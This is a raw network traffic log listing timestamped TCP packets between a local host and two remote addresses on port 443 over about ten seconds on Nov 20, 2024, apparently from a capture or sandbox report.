Nov 20, 2024 17:43:07.945873022 CET	443	50071	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.019751072 CET	443	50066	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.022125959 CET	443	50066	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.022236109 CET	443	50066	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.022330046 CET	50066	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.022417068 CET	50066	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.022440910 CET	443	50066	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.022473097 CET	50066	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.022479057 CET	443	50066	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.024940014 CET	50072	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.025028944 CET	443	50072	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.025119066 CET	50072	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.025259018 CET	50072	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.025288105 CET	443	50072	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.136482000 CET	443	50068	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.137073040 CET	50068	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.137093067 CET	443	50068	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.137669086 CET	50068	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.137675047 CET	443	50068	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.193641901 CET	443	50069	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.201423883 CET	50069	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.201442957 CET	443	50069	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.202137947 CET	50069	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.202145100 CET	443	50069	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.704704046 CET	443	50068	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.704773903 CET	443	50069	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.704778910 CET	443	50068	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.704839945 CET	50068	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.704859018 CET	443	50068	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.704905033 CET	443	50068	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.704946041 CET	443	50069	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.704947948 CET	50068	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.704993010 CET	50069	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.708173037 CET	50068	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.708193064 CET	443	50068	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.708206892 CET	50068	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.708214045 CET	443	50068	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.709258080 CET	50069	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.709269047 CET	443	50069	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.709305048 CET	50069	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.709310055 CET	443	50069	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.712899923 CET	50073	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.712944984 CET	443	50073	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.713010073 CET	50073	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.713975906 CET	50074	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.714046955 CET	443	50074	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.714113951 CET	50074	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.714356899 CET	50073	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.714375973 CET	443	50073	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:08.714510918 CET	50074	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:08.714545965 CET	443	50074	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.381072998 CET	443	50070	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.381599903 CET	50070	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.381618977 CET	443	50070	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.382169962 CET	50070	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.382174969 CET	443	50070	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.845257044 CET	443	50071	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.846554995 CET	50071	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.846565008 CET	443	50071	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.846791983 CET	50071	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.846795082 CET	443	50071	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.847579956 CET	443	50072	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.848129988 CET	50072	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.848154068 CET	443	50072	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.848737955 CET	50072	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.848742962 CET	443	50072	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.855729103 CET	443	50070	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.859160900 CET	443	50070	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.859217882 CET	50070	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.859230042 CET	443	50070	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.859244108 CET	443	50070	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.859297991 CET	50070	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.859334946 CET	50070	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.859343052 CET	443	50070	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.859357119 CET	50070	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.859369993 CET	443	50070	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.862656116 CET	50075	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.862710953 CET	443	50075	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:09.862778902 CET	50075	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.862905979 CET	50075	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:09.862930059 CET	443	50075	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.312144041 CET	443	50072	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.315615892 CET	443	50072	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.315695047 CET	50072	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.315757036 CET	50072	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.315779924 CET	443	50072	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.315793991 CET	50072	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.315799952 CET	443	50072	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.317497015 CET	443	50071	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.319219112 CET	50076	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.319303036 CET	443	50076	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.319400072 CET	50076	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.319555044 CET	50076	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.319588900 CET	443	50076	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.321187973 CET	443	50071	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.321252108 CET	50071	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.321300983 CET	50071	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.321300983 CET	50071	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.321320057 CET	443	50071	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.321329117 CET	443	50071	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.323977947 CET	50077	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.324023962 CET	443	50077	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.324101925 CET	50077	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.324239969 CET	50077	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.324258089 CET	443	50077	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.554538012 CET	443	50052	142.250.181.68	192.168.2.7
Nov 20, 2024 17:43:10.554616928 CET	443	50052	142.250.181.68	192.168.2.7
Nov 20, 2024 17:43:10.554806948 CET	50052	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:43:10.596946955 CET	443	50073	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.599945068 CET	50073	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.599982977 CET	443	50073	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.600356102 CET	50073	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.600367069 CET	443	50073	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.665209055 CET	443	50074	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.665914059 CET	50074	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.665997982 CET	443	50074	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:10.666507006 CET	50074	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:10.666524887 CET	443	50074	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.036020994 CET	443	50073	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.039150953 CET	443	50073	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.039339066 CET	50073	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.039532900 CET	50073	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.039557934 CET	443	50073	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.039592028 CET	50073	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.039598942 CET	443	50073	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.043665886 CET	50078	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.043715954 CET	443	50078	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.043937922 CET	50078	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.044146061 CET	50078	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.044162035 CET	443	50078	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.067567110 CET	50052	443	192.168.2.7	142.250.181.68
Nov 20, 2024 17:43:11.067584991 CET	443	50052	142.250.181.68	192.168.2.7
Nov 20, 2024 17:43:11.116472006 CET	443	50074	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.119471073 CET	443	50074	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.119590998 CET	443	50074	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.119671106 CET	50074	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.119755030 CET	50074	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.119755030 CET	50074	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.119800091 CET	443	50074	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.119824886 CET	443	50074	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.123142004 CET	50079	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.123179913 CET	443	50079	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.123243093 CET	50079	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.123533964 CET	50079	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.123555899 CET	443	50079	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.587239981 CET	443	50075	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.587964058 CET	50075	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.588001013 CET	443	50075	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:11.588622093 CET	50075	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:11.588629961 CET	443	50075	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.027467966 CET	443	50075	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.030936003 CET	443	50075	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.031116009 CET	50075	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.031186104 CET	50075	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.031207085 CET	443	50075	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.031217098 CET	50075	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.031224012 CET	443	50075	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.034609079 CET	50080	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.034691095 CET	443	50080	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.034784079 CET	50080	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.034982920 CET	50080	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.035017014 CET	443	50080	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.041769028 CET	443	50076	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.042177916 CET	50076	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.042236090 CET	443	50076	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.042781115 CET	50076	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.042800903 CET	443	50076	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.244152069 CET	443	50077	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.244631052 CET	50077	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.244647980 CET	443	50077	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.245249987 CET	50077	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.245261908 CET	443	50077	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.478931904 CET	443	50076	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.482053995 CET	443	50076	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.482109070 CET	50076	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.482146025 CET	50076	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.482167959 CET	443	50076	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.482181072 CET	50076	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.482187986 CET	443	50076	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.485222101 CET	50081	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.485255003 CET	443	50081	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.485321999 CET	50081	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.485502005 CET	50081	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.485517979 CET	443	50081	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.731806040 CET	443	50077	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.734474897 CET	443	50077	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.734555960 CET	50077	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.734603882 CET	50077	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.734627008 CET	443	50077	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.734639883 CET	50077	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.734646082 CET	443	50077	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.737952948 CET	50082	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.738034010 CET	443	50082	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.738147974 CET	50082	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.738315105 CET	50082	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.738348007 CET	443	50082	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.816404104 CET	443	50078	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.816858053 CET	50078	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.816924095 CET	443	50078	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.817377090 CET	50078	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.817394972 CET	443	50078	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.900926113 CET	443	50079	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.903398037 CET	50079	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.903422117 CET	443	50079	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:12.903892040 CET	50079	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:12.903898001 CET	443	50079	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.262700081 CET	443	50078	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.265841007 CET	443	50078	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.265978098 CET	50078	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.301198006 CET	50078	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.301198959 CET	50078	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.301248074 CET	443	50078	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.301264048 CET	443	50078	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.324829102 CET	50083	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.324846983 CET	443	50083	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.324918032 CET	50083	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.333632946 CET	50083	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.333652973 CET	443	50083	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.358453035 CET	443	50079	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.358623981 CET	443	50079	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.358690977 CET	50079	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.365632057 CET	50079	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.365653038 CET	443	50079	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.365667105 CET	50079	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.365673065 CET	443	50079	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.397471905 CET	50084	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.397526979 CET	443	50084	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.397597075 CET	50084	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.397735119 CET	50084	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.397752047 CET	443	50084	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.828457117 CET	443	50080	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.829179049 CET	50080	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.829256058 CET	443	50080	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:13.829915047 CET	50080	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:13.829931974 CET	443	50080	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.273914099 CET	443	50080	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.277141094 CET	443	50080	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.277204037 CET	50080	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.277278900 CET	50080	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.277318954 CET	443	50080	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.277348042 CET	50080	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.277364016 CET	443	50080	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.280781031 CET	50085	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.280818939 CET	443	50085	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.280880928 CET	50085	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.281076908 CET	50085	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.281095982 CET	443	50085	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.373447895 CET	443	50081	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.374007940 CET	50081	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.374032021 CET	443	50081	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.374620914 CET	50081	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.374627113 CET	443	50081	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.547914028 CET	443	50082	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.548897982 CET	50082	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.548957109 CET	443	50082	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.549570084 CET	50082	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.549583912 CET	443	50082	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.831403971 CET	443	50081	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.834558964 CET	443	50081	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.834640980 CET	50081	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.835457087 CET	50081	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.835496902 CET	443	50081	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.835525990 CET	50081	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.835542917 CET	443	50081	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.840898037 CET	50086	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.840940952 CET	443	50086	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:14.841003895 CET	50086	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.841259956 CET	50086	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:14.841274977 CET	443	50086	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.006866932 CET	443	50082	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.009475946 CET	443	50082	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.009536028 CET	443	50082	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.009579897 CET	50082	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.009643078 CET	50082	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.009715080 CET	50082	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.009753942 CET	443	50082	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.009780884 CET	50082	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.009795904 CET	443	50082	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.013098001 CET	50087	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.013129950 CET	443	50087	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.013293982 CET	50087	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.013406038 CET	50087	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.013423920 CET	443	50087	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.221652985 CET	443	50083	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.222352028 CET	50083	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.222372055 CET	443	50083	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.222955942 CET	50083	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.222970009 CET	443	50083	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.280618906 CET	443	50084	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.281194925 CET	50084	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.281214952 CET	443	50084	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.281666040 CET	50084	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.281672001 CET	443	50084	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.667453051 CET	443	50083	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.672216892 CET	443	50083	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.672377110 CET	50083	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.672431946 CET	50083	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.672451973 CET	443	50083	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.672465086 CET	50083	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.672472000 CET	443	50083	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.675821066 CET	50088	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.675894022 CET	443	50088	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:15.675988913 CET	50088	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.676314116 CET	50088	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:15.676341057 CET	443	50088	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.022372961 CET	443	50084	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.025589943 CET	443	50084	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.025660992 CET	443	50084	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.025743961 CET	50084	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.133601904 CET	443	50085	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.137819052 CET	50084	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.137841940 CET	443	50084	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.137852907 CET	50084	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.137859106 CET	443	50084	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.139853001 CET	50085	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.139870882 CET	443	50085	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.140364885 CET	50085	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.140371084 CET	443	50085	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.144443035 CET	50089	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.144486904 CET	443	50089	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.144586086 CET	50089	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.144809961 CET	50089	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.144823074 CET	443	50089	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.703141928 CET	443	50086	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.703881979 CET	50086	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.703915119 CET	443	50086	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.704390049 CET	50086	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.704396009 CET	443	50086	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.860961914 CET	443	50087	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.861562967 CET	50087	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.861577034 CET	443	50087	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.862057924 CET	50087	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.862065077 CET	443	50087	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.925544024 CET	443	50085	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.928513050 CET	443	50085	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.928617001 CET	50085	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.928649902 CET	50085	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.928667068 CET	443	50085	13.107.246.63	192.168.2.7
Nov 20, 2024 17:43:16.928680897 CET	50085	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:43:16.928688049 CET	443	50085	13.107.246.63	192.168.2.7
